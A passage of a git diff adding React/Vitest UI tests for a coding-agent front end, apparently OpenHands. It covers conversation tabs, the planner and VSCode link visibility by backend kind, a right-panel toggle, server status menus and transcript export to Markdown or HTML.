+ it("calls the build handler when the build button is clicked", async () => {
+ const user = userEvent.setup();
+ setActiveTabState("planner");
+ useConversationStore.setState({
+ planContent: "# Plan content",
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ await user.click(await screen.findByTestId("planner-tab-build-button"));
+
+ expect(mockHandleBuildPlanClick).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe("planner tab visibility by backend kind", () => {
+ beforeEach(() => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ });
+
+ it("should show the planner tab when the active backend is local", () => {
+ // Arrange
+ seedActiveBackend({
+ id: "local-test",
+ name: "Local Test",
+ host: "http://localhost:8000",
+ apiKey: "",
+ kind: "local",
+ });
+
+ // Act
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Assert: local planning is now supported, so the tab is shown.
+ expect(
+ screen.getByTestId("conversation-tab-planner"),
+ ).toBeInTheDocument();
+ });
+
+ it("should show the planner tab when the active backend is cloud", () => {
+ // Arrange
+ seedActiveBackend({
+ id: "cloud-test",
+ name: "Cloud Test",
+ host: "https://app.example.com",
+ apiKey: "secret",
+ kind: "cloud",
+ });
+
+ // Act
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Assert
+ expect(
+ screen.getByTestId("conversation-tab-planner"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ describe("vscode link visibility by backend kind", () => {
+ beforeEach(() => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ });
+
+ it("should show the vscode link when the active backend is local", () => {
+ // Arrange
+ seedActiveBackend({
+ id: "local-test",
+ name: "Local Test",
+ host: "http://localhost:8000",
+ apiKey: "",
+ kind: "local",
+ });
+
+ // Act
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Assert — self-hosted backends serve VSCode too; the URL comes from
+ // the agent server's /api/vscode/url via useUnifiedVSCodeUrl's local
+ // branch, rather than from cloud `exposed_urls`.
+ expect(screen.getByTestId("drawer-vscode-link")).toBeInTheDocument();
+ });
+
+ it("should show the vscode link when the active backend is cloud", () => {
+ // Arrange
+ seedActiveBackend({
+ id: "cloud-test",
+ name: "Cloud Test",
+ host: "https://app.example.com",
+ apiKey: "secret",
+ kind: "cloud",
+ });
+
+ // Act
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Assert
+ expect(screen.getByTestId("drawer-vscode-link")).toBeInTheDocument();
+ });
+
+ it("re-measures the tab row when the vscode button's own width changes", () => {
+ // The button's width is folded into how many tabs fit inline, and its
+ // presence is now resolved asynchronously (the hook probes
+ // /api/vscode/status). It sits inside an `ml-auto shrink-0` wrapper, so
+ // it appearing or disappearing leaves the row's own box unchanged —
+ // observing only the row would leave the fit computed against a button
+ // that is no longer on screen, permanently costing an inline tab.
+ const observed: Element[] = [];
+ class RecordingResizeObserver {
+ observe = (el: Element) => {
+ observed.push(el);
+ };
+
+ unobserve = vi.fn();
+
+ disconnect = vi.fn();
+ }
+ // Swap only this global back afterwards: vi.unstubAllGlobals() would
+ // also drop the localStorage/ResizeObserver stubs vitest.setup.ts
+ // installs in beforeAll, breaking every later test in the file.
+ const originalResizeObserver = globalThis.ResizeObserver;
+ globalThis.ResizeObserver =
+ RecordingResizeObserver as unknown as typeof ResizeObserver;
+
+ try {
+ seedActiveBackend({
+ id: "local-test",
+ name: "Local Test",
+ host: "http://localhost:8000",
+ apiKey: "",
+ kind: "local",
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const vscodeWrapper =
+ screen.getByTestId("drawer-vscode-link").parentElement;
+ expect(vscodeWrapper).not.toBeNull();
+ expect(observed).toContain(vscodeWrapper);
+ } finally {
+ globalThis.ResizeObserver = originalResizeObserver;
+ }
+ });
+ });
+
+ describe("ellipsis context menu", () => {
+ beforeEach(() => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ });
+
+ it("opens the context menu when the ellipsis button is clicked", async () => {
+ const user = userEvent.setup();
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ screen.queryByTestId("conversation-tabs-menu-open-files"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("ellipsis-button"));
+
+ expect(
+ screen.getByTestId("conversation-tabs-menu-open-files"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ describe("tasklist tab", () => {
+ beforeEach(() => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ mockHasTaskList = true;
+ });
+
+ it("should show tasklist tab when hasTaskList is true", () => {
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ screen.getByTestId("conversation-tab-tasklist"),
+ ).toBeInTheDocument();
+ });
+
+ it("should select tasklist tab when clicked", async () => {
+ const user = userEvent.setup();
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const tasklistTab = screen.getByTestId("conversation-tab-tasklist");
+ await user.click(tasklistTab);
+
+ const { selectedTab, hasRightPanelToggled } =
+ useConversationStore.getState();
+ expect(selectedTab).toBe("tasklist");
+ expect(hasRightPanelToggled).toBe(true);
+ });
+ });
+});
diff --git a/__tests__/components/features/conversation/right-panel-toggle.test.tsx b/__tests__/components/features/conversation/right-panel-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd8dba39d2b8e6e9d20b744ee604cccfb6641f
--- /dev/null
+++ b/__tests__/components/features/conversation/right-panel-toggle.test.tsx
@@ -0,0 +1,130 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { RightPanelToggle } from "#/components/features/conversation/right-panel-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const CONVERSATION_ID = "conv-abc123";
+
+const { mockNavigate, breakpointIsMobile } = vi.hoisted(() => ({
+ mockNavigate: vi.fn(),
+ breakpointIsMobile: { value: false },
+}));
+
+vi.mock("react-router", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ useNavigate: () => mockNavigate,
+ };
+});
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({ conversationId: CONVERSATION_ID }),
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+ useIsArchivedConversation: () => false,
+}));
+
+describe("RightPanelToggle", () => {
+ beforeEach(() => {
+ localStorage.clear();
+ mockNavigate.mockClear();
+ breakpointIsMobile.value = false;
+ useConversationStore.setState({
+ selectedTab: "files",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+ });
+
+ it("should render the toggle button", () => {
+ render( );
+ expect(screen.getByTestId("right-panel-toggle")).toBeInTheDocument();
+ });
+
+ it("should hide the panel when clicked while panel is open", async () => {
+ const user = userEvent.setup();
+
+ render( );
+
+ const button = screen.getByTestId("right-panel-toggle");
+ await user.click(button);
+
+ const storeState = useConversationStore.getState();
+ expect(storeState.hasRightPanelToggled).toBe(false);
+ expect(storeState.isRightPanelShown).toBe(false);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.rightPanelShown).toBe(false);
+ });
+
+ it("should show the panel when clicked while panel is hidden", async () => {
+ const user = userEvent.setup();
+
+ useConversationStore.setState({
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+
+ render( );
+
+ const button = screen.getByTestId("right-panel-toggle");
+ await user.click(button);
+
+ const storeState = useConversationStore.getState();
+ expect(storeState.hasRightPanelToggled).toBe(true);
+ expect(storeState.isRightPanelShown).toBe(true);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.rightPanelShown).toBe(true);
+ });
+
+ it("should have aria-pressed attribute reflecting panel state on desktop", () => {
+ const { unmount } = render( );
+ expect(screen.getByTestId("right-panel-toggle")).toHaveAttribute(
+ "aria-pressed",
+ "true",
+ );
+
+ unmount();
+
+ useConversationStore.setState({ isRightPanelShown: false });
+ render( );
+ expect(screen.getByTestId("right-panel-toggle")).toHaveAttribute(
+ "aria-pressed",
+ "false",
+ );
+ });
+
+ it("navigates to the full-screen panel route on mobile", async () => {
+ breakpointIsMobile.value = true;
+ const user = userEvent.setup();
+
+ useConversationStore.setState({
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+
+ render( );
+
+ await user.click(screen.getByTestId("right-panel-toggle"));
+
+ expect(mockNavigate).toHaveBeenCalledWith(
+ `/conversations/${CONVERSATION_ID}/panel`,
+ );
+ const storeState = useConversationStore.getState();
+ expect(storeState.hasRightPanelToggled).toBe(true);
+ expect(storeState.isRightPanelShown).toBe(true);
+ });
+});
diff --git a/__tests__/components/features/conversation/server-status.test.tsx b/__tests__/components/features/conversation/server-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a3c241e8d28d21cdf29fe4dcb26df00a20e08edf
--- /dev/null
+++ b/__tests__/components/features/conversation/server-status.test.tsx
@@ -0,0 +1,326 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ServerStatus } from "#/components/features/controls/server-status";
+import { ServerStatusContextMenu } from "#/components/features/controls/server-status-context-menu";
+import { ConversationStatus } from "#/types/conversation-status";
+import { AgentState } from "#/types/agent-state";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+// Mock the agent state hook
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+ useTaskPolling: () => ({
+ isTask: false,
+ taskId: null,
+ conversationId: "test-conversation-id",
+ task: null,
+ taskStatus: null,
+ taskDetail: null,
+ taskError: null,
+ isLoadingTask: false,
+ }),
+}));
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string) => {
+ const translations: Record = {
+ COMMON$RUNNING: "Running",
+ COMMON$SERVER_STOPPED: "Server Stopped",
+ COMMON$ERROR: "Error",
+ COMMON$STARTING: "Starting",
+ COMMON$STOPPING: "Stopping...",
+ COMMON$STOP_RUNTIME: "Stop Runtime",
+ COMMON$START_RUNTIME: "Start Runtime",
+ CONVERSATION$ERROR_STARTING_CONVERSATION:
+ "Error starting conversation",
+ CONVERSATION$READY: "Ready",
+ };
+ return translations[key] || key;
+ },
+ i18n: {
+ changeLanguage: () => new Promise(() => {}),
+ },
+ }),
+ };
+});
+
+describe("ServerStatus", () => {
+ // Helper function to mock agent state with specific state
+ const mockAgentStore = (agentState: AgentState) => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: agentState,
+ });
+ };
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render server status with RUNNING conversation status", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Running")).toBeInTheDocument();
+ });
+
+ it("should render server status with STOPPED conversation status", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Server Stopped")).toBeInTheDocument();
+ });
+
+ it("should render STARTING status when agent state is LOADING", () => {
+ mockAgentStore(AgentState.LOADING);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Starting")).toBeInTheDocument();
+ });
+
+ it("should render STARTING status when agent state is INIT", () => {
+ mockAgentStore(AgentState.INIT);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Starting")).toBeInTheDocument();
+ });
+
+ it("should render ERROR status when agent state is ERROR", () => {
+ mockAgentStore(AgentState.ERROR);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Error")).toBeInTheDocument();
+ });
+
+ it("should render STOPPING status when isPausing is true", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Stopping...")).toBeInTheDocument();
+ });
+
+ it("should handle null conversation status", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByText("Running")).toBeInTheDocument();
+ });
+
+ it("should apply custom className", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ const container = screen.getByTestId("server-status");
+ expect(container).toHaveClass("custom-class");
+ });
+});
+
+describe("ServerStatusContextMenu", () => {
+ // Helper function to mock agent state with specific state
+ const mockAgentStore = (agentState: AgentState) => {
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: agentState,
+ });
+ };
+
+ const defaultProps = {
+ onClose: vi.fn(),
+ executionStatus: "RUNNING" as ConversationStatus,
+ };
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render stop server button when status is RUNNING", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByTestId("stop-server-button")).toBeInTheDocument();
+ expect(screen.getByText("Stop Runtime")).toBeInTheDocument();
+ });
+
+ it("should render start server button when status is STOPPED", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.getByTestId("start-server-button")).toBeInTheDocument();
+ expect(screen.getByText("Start Runtime")).toBeInTheDocument();
+ });
+
+ it("should not render stop server button when onStopServer is not provided", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.queryByTestId("stop-server-button")).not.toBeInTheDocument();
+ });
+
+ it("should not render start server button when onStartServer is not provided", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.queryByTestId("start-server-button")).not.toBeInTheDocument();
+ });
+
+ it("should call onStopServer when stop button is clicked", async () => {
+ const user = userEvent.setup();
+ const onStopServer = vi.fn();
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ const stopButton = screen.getByTestId("stop-server-button");
+ await user.click(stopButton);
+
+ expect(onStopServer).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call onStartServer when start button is clicked", async () => {
+ const user = userEvent.setup();
+ const onStartServer = vi.fn();
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ const startButton = screen.getByTestId("start-server-button");
+ await user.click(startButton);
+
+ expect(onStartServer).toHaveBeenCalledTimes(1);
+ });
+
+ it("should render correct text content for stop server button", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("stop-server-button")).toHaveTextContent(
+ "Stop Runtime",
+ );
+ });
+
+ it("should render correct text content for start server button", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("start-server-button")).toHaveTextContent(
+ "Start Runtime",
+ );
+ });
+
+ it("should call onClose when context menu is closed", () => {
+ const onClose = vi.fn();
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ // The onClose is typically called by the parent component when clicking outside
+ // This test verifies the prop is properly passed
+ expect(onClose).toBeDefined();
+ });
+
+ it("should not render any buttons for other conversation statuses", () => {
+ mockAgentStore(AgentState.RUNNING);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("server-status")).toBeInTheDocument();
+ expect(screen.queryByTestId("stop-server-button")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("start-server-button")).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/transcript-export-modal.test.tsx b/__tests__/components/features/conversation/transcript-export-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e17ff54b54fb6eecde933b75927f36bf84471b1f
--- /dev/null
+++ b/__tests__/components/features/conversation/transcript-export-modal.test.tsx
@@ -0,0 +1,433 @@
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { TranscriptExportModal } from "#/components/features/conversation/transcript-export-modal";
+import { I18nKey } from "#/i18n/declaration";
+import type {
+ HookExecutionEvent,
+ OpenHandsEvent,
+} from "#/types/agent-server/core";
+
+const {
+ displayErrorToastMock,
+ downloadBlobMock,
+ eventStoreState,
+ eventsToHtmlMock,
+ eventsToMarkdownMock,
+ getEventCountMock,
+ loadCompleteTranscriptEventsMock,
+ searchEventsMock,
+ trackConversationExportedMock,
+ useTranslationMock,
+} = vi.hoisted(() => ({
+ displayErrorToastMock: vi.fn(),
+ downloadBlobMock: vi.fn(),
+ eventStoreState: {
+ loadedConversationId: null as string | null,
+ events: [] as OpenHandsEvent[],
+ },
+ eventsToHtmlMock: vi.fn(),
+ eventsToMarkdownMock: vi.fn(),
+ getEventCountMock: vi.fn(),
+ loadCompleteTranscriptEventsMock: vi.fn(),
+ searchEventsMock: vi.fn(),
+ trackConversationExportedMock: vi.fn(),
+ useTranslationMock: vi.fn(),
+}));
+
+vi.mock("react-i18next", async (importOriginal) => ({
+ ...(await importOriginal()),
+ useTranslation: (namespace: string) => {
+ useTranslationMock(namespace);
+ return { t: (key: string) => key };
+ },
+}));
+
+vi.mock("#/utils/utils", async (importOriginal) => ({
+ ...(await importOriginal()),
+ downloadBlob: (...args: unknown[]) => downloadBlobMock(...args),
+}));
+
+vi.mock("#/utils/transcript-export", () => ({
+ eventsToHtml: (...args: unknown[]) => eventsToHtmlMock(...args),
+ eventsToMarkdown: (...args: unknown[]) => eventsToMarkdownMock(...args),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackConversationExported: (...args: unknown[]) =>
+ trackConversationExportedMock(...args),
+ }),
+}));
+
+vi.mock("#/stores/use-event-store", () => ({
+ useEventStore: {
+ getState: () => eventStoreState,
+ },
+}));
+
+vi.mock("#/api/event-service/event-service.api", () => ({
+ default: {
+ getEventCount: (...args: unknown[]) => getEventCountMock(...args),
+ searchEvents: (...args: unknown[]) => searchEventsMock(...args),
+ },
+}));
+
+vi.mock("#/utils/transcript-export/load-complete-events", () => ({
+ loadCompleteTranscriptEvents: (...args: unknown[]) =>
+ loadCompleteTranscriptEventsMock(...args),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displayErrorToast: (...args: unknown[]) => displayErrorToastMock(...args),
+}));
+
+const makeEvent = (id: string): HookExecutionEvent => ({
+ id,
+ timestamp: "2026-07-12T00:00:00.000Z",
+ source: "hook",
+ kind: "HookExecutionEvent",
+ hook_event_type: "PreToolUse",
+ hook_command: "npm test",
+ success: true,
+ blocked: false,
+ exit_code: 0,
+ reason: null,
+ tool_name: "terminal",
+ action_id: null,
+ message_id: null,
+ stdout: null,
+ stderr: null,
+ error: null,
+ additional_context: null,
+ hook_input: null,
+});
+
+function createDeferred() {
+ let resolve!: (value: T | PromiseLike) => void;
+ let reject!: (reason?: unknown) => void;
+ const promise = new Promise((resolvePromise, rejectPromise) => {
+ resolve = resolvePromise;
+ reject = rejectPromise;
+ });
+ return { promise, resolve, reject };
+}
+
+async function readBlob(blob: Blob): Promise {
+ return new Promise((resolve, reject) => {
+ const reader = new FileReader();
+ reader.onload = () => resolve(String(reader.result));
+ reader.onerror = () => reject(reader.error);
+ reader.readAsText(blob);
+ });
+}
+
+interface RenderExportModalOptions {
+ loadedConversationId?: string | null;
+ loadedEvents?: OpenHandsEvent[];
+ conversationUrl?: string | null;
+ sessionApiKey?: string | null;
+ conversationTitle?: string | null;
+ model?: string | null;
+}
+
+function renderExportModal({
+ loadedConversationId = "conversation-1",
+ loadedEvents = [makeEvent("loaded-event")],
+ conversationUrl,
+ sessionApiKey = null,
+ conversationTitle = null,
+ model = null,
+}: RenderExportModalOptions = {}) {
+ [
+ displayErrorToastMock,
+ downloadBlobMock,
+ eventsToHtmlMock,
+ eventsToMarkdownMock,
+ getEventCountMock,
+ loadCompleteTranscriptEventsMock,
+ searchEventsMock,
+ trackConversationExportedMock,
+ useTranslationMock,
+ ].forEach((mock) => mock.mockReset());
+
+ eventStoreState.loadedConversationId = loadedConversationId;
+ eventStoreState.events = loadedEvents;
+ const completeEvents = [makeEvent("complete-event")];
+ getEventCountMock.mockResolvedValue(1);
+ searchEventsMock.mockResolvedValue({ items: [], next_page_id: null });
+ loadCompleteTranscriptEventsMock.mockResolvedValue(completeEvents);
+ eventsToMarkdownMock.mockReturnValue("# Markdown transcript");
+ eventsToHtmlMock.mockReturnValue("HTML transcript");
+ const onClose = vi.fn();
+ const view = renderWithProviders(
+ ,
+ );
+
+ return { ...view, completeEvents, loadedEvents, onClose };
+}
+
+describe("transcript export modal", () => {
+ it("exports the current transcript as Markdown with accessible defaults", async () => {
+ const scenario = renderExportModal();
+ const markdownRadio = screen.getByRole("radio", {
+ name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+ });
+ const htmlRadio = screen.getByRole("radio", {
+ name: I18nKey.TRANSCRIPT_EXPORT$HTML,
+ });
+
+ expect(markdownRadio).toBeChecked();
+ expect(htmlRadio).not.toBeChecked();
+ expect(markdownRadio).toHaveAttribute("name", "transcript-export-format");
+ expect(htmlRadio).toHaveAttribute("name", "transcript-export-format");
+ expect(
+ screen.getByRole("checkbox", {
+ name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+ }),
+ ).toBeChecked();
+ expect(
+ screen.getByRole("checkbox", {
+ name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TIMESTAMPS,
+ }),
+ ).toBeChecked();
+ expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+
+ fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+ await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+ expect(getEventCountMock).toHaveBeenCalledWith("conversation-1", "", null);
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+ scenario.loadedEvents,
+ expect.any(Function),
+ 1,
+ );
+ expect(eventsToMarkdownMock).toHaveBeenCalledWith(scenario.completeEvents, {
+ includeToolDetails: true,
+ includeTimestamps: true,
+ title: null,
+ model: null,
+ });
+ expect(eventsToHtmlMock).not.toHaveBeenCalled();
+ const [blob, filename] = downloadBlobMock.mock.calls[0] as [Blob, string];
+ expect(filename).toBe("conversation-conversation-1.md");
+ expect(blob.type).toBe("text/markdown;charset=utf-8");
+ await expect(readBlob(blob)).resolves.toBe("# Markdown transcript");
+ expect(trackConversationExportedMock).toHaveBeenCalledWith("markdown");
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ });
+
+ it("exports fetched events as HTML with the selected options", async () => {
+ const scenario = renderExportModal({
+ loadedConversationId: "another-conversation",
+ conversationUrl: "wss://runtime.example/ws",
+ sessionApiKey: "session-key",
+ conversationTitle: "Incident review",
+ model: "model-v2",
+ });
+ const searchOptions = {
+ limit: 100,
+ sortOrder: "TIMESTAMP_DESC",
+ strictPagination: true,
+ };
+ loadCompleteTranscriptEventsMock.mockImplementation(
+ async (
+ _loadedEvents: OpenHandsEvent[],
+ searchEvents: (options: Record) => Promise,
+ ) => {
+ await searchEvents(searchOptions);
+ return scenario.completeEvents;
+ },
+ );
+ const markdownRadio = screen.getByRole("radio", {
+ name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+ });
+ const htmlRadio = screen.getByRole("radio", {
+ name: I18nKey.TRANSCRIPT_EXPORT$HTML,
+ });
+
+ fireEvent.click(htmlRadio);
+ expect(htmlRadio).toBeChecked();
+ fireEvent.click(markdownRadio);
+ expect(markdownRadio).toBeChecked();
+ fireEvent.click(htmlRadio);
+ fireEvent.click(
+ screen.getByRole("checkbox", {
+ name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+ }),
+ );
+ fireEvent.click(
+ screen.getByRole("checkbox", {
+ name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TIMESTAMPS,
+ }),
+ );
+ fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+ await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+ [],
+ expect.any(Function),
+ 1,
+ );
+ expect(searchEventsMock).toHaveBeenCalledWith(
+ "conversation-1",
+ "wss://runtime.example/ws",
+ "session-key",
+ searchOptions,
+ );
+ expect(eventsToHtmlMock).toHaveBeenCalledWith(scenario.completeEvents, {
+ includeToolDetails: false,
+ includeTimestamps: false,
+ title: "Incident review",
+ model: "model-v2",
+ });
+ expect(eventsToMarkdownMock).not.toHaveBeenCalled();
+ const [blob, filename] = downloadBlobMock.mock.calls[0] as [Blob, string];
+ expect(filename).toBe("conversation-conversation-1.html");
+ expect(blob.type).toBe("text/html;charset=utf-8");
+ await expect(readBlob(blob)).resolves.toBe("HTML transcript");
+ expect(trackConversationExportedMock).toHaveBeenCalledWith("html");
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ });
+
+ it("continues without an expected count when that endpoint is unavailable", async () => {
+ const scenario = renderExportModal();
+ getEventCountMock.mockRejectedValue(new Error("count unavailable"));
+
+ fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+ await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+ scenario.loadedEvents,
+ expect.any(Function),
+ undefined,
+ );
+ expect(displayErrorToastMock).not.toHaveBeenCalled();
+ });
+
+ it("reports an export error, restores the form, and permits a retry", async () => {
+ const scenario = renderExportModal();
+ loadCompleteTranscriptEventsMock.mockRejectedValueOnce(
+ new Error("history unavailable"),
+ );
+ const exportButton = screen.getByTestId("confirm-transcript-export");
+
+ fireEvent.click(exportButton);
+
+ await waitFor(() =>
+ expect(displayErrorToastMock).toHaveBeenCalledWith(I18nKey.ERROR$GENERIC),
+ );
+ expect(downloadBlobMock).not.toHaveBeenCalled();
+ expect(scenario.onClose).not.toHaveBeenCalled();
+ await waitFor(() => expect(exportButton).not.toBeDisabled());
+ expect(exportButton).toHaveAttribute("aria-busy", "false");
+
+ fireEvent.click(exportButton);
+
+ await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+ expect(getEventCountMock).toHaveBeenCalledTimes(2);
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledTimes(2);
+ expect(trackConversationExportedMock).toHaveBeenCalledWith("markdown");
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ });
+
+ it("cancels before loading history when closed during the count request", async () => {
+ const scenario = renderExportModal();
+ const count = createDeferred();
+ getEventCountMock.mockReturnValue(count.promise);
+ const exportButton = screen.getByTestId("confirm-transcript-export");
+
+ fireEvent.click(exportButton);
+
+ expect(exportButton).toBeDisabled();
+ expect(exportButton).toHaveAttribute("aria-busy", "true");
+ expect(
+ screen.getByRole("radio", {
+ name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+ }),
+ ).toBeDisabled();
+ expect(
+ screen.getByRole("checkbox", {
+ name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+ }),
+ ).toBeDisabled();
+
+ fireEvent.click(screen.getByTestId("cancel-transcript-export"));
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ await act(async () => count.resolve(1));
+
+ expect(loadCompleteTranscriptEventsMock).not.toHaveBeenCalled();
+ expect(downloadBlobMock).not.toHaveBeenCalled();
+ expect(displayErrorToastMock).not.toHaveBeenCalled();
+ await waitFor(() => expect(exportButton).not.toBeDisabled());
+ });
+
+ it("cancels after history loading without creating a download", async () => {
+ const scenario = renderExportModal();
+ const history = createDeferred();
+ loadCompleteTranscriptEventsMock.mockReturnValue(history.promise);
+
+ fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+ await waitFor(() =>
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledOnce(),
+ );
+ fireEvent.click(screen.getByTestId("close-transcript-export-modal"));
+ await act(async () => history.resolve(scenario.completeEvents));
+
+ expect(scenario.onClose).toHaveBeenCalledOnce();
+ expect(eventsToMarkdownMock).not.toHaveBeenCalled();
+ expect(downloadBlobMock).not.toHaveBeenCalled();
+ expect(displayErrorToastMock).not.toHaveBeenCalled();
+ });
+
+ it("suppresses late errors and state updates after unmount", async () => {
+ const scenario = renderExportModal();
+ const history = createDeferred();
+ loadCompleteTranscriptEventsMock.mockReturnValue(history.promise);
+
+ fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+ await waitFor(() =>
+ expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledOnce(),
+ );
+ scenario.unmount();
+ await act(async () => history.reject(new Error("late failure")));
+
